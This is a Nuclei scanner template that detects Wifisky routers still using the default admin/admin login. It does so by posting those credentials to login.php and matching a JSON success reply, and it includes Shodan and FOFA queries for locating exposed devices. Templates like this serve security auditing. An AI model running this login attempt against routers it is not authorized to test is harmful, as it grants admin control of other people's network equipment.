id: wifisky-default-login

info:
  name: Wifisky Default Login
  author: pikpikcu
  severity: high
  description: Wifisky default admin credentials were discovered.
  reference:
    - https://securityforeveryone.com/tools/wifisky-default-password-scanner
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"WIFISKY-7层流控路由器"
    fofa-query: app="WIFISKY-7层流控路由器"
  tags: default-login,wifisky

http:
  - raw:
      - |
        POST /login.php?action=login&type=admin HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Connection: close

        username={{username}}&password={{password}}

    payloads:
      username:
        - admin
      password:
        - admin
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "text/html"
        part: header

      - type: word
        words:
          - '"success":"true"'
          - '"data":'
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220710de039d1cca91e05261dba9671adc489316290b6c6944f108002e2d447ed12022100a759813f47a1f8c3d565f5b70a377d16675a5ec0cb2a9834311565e3f4a7099f:922c64590222798bb761d5b6d8e72950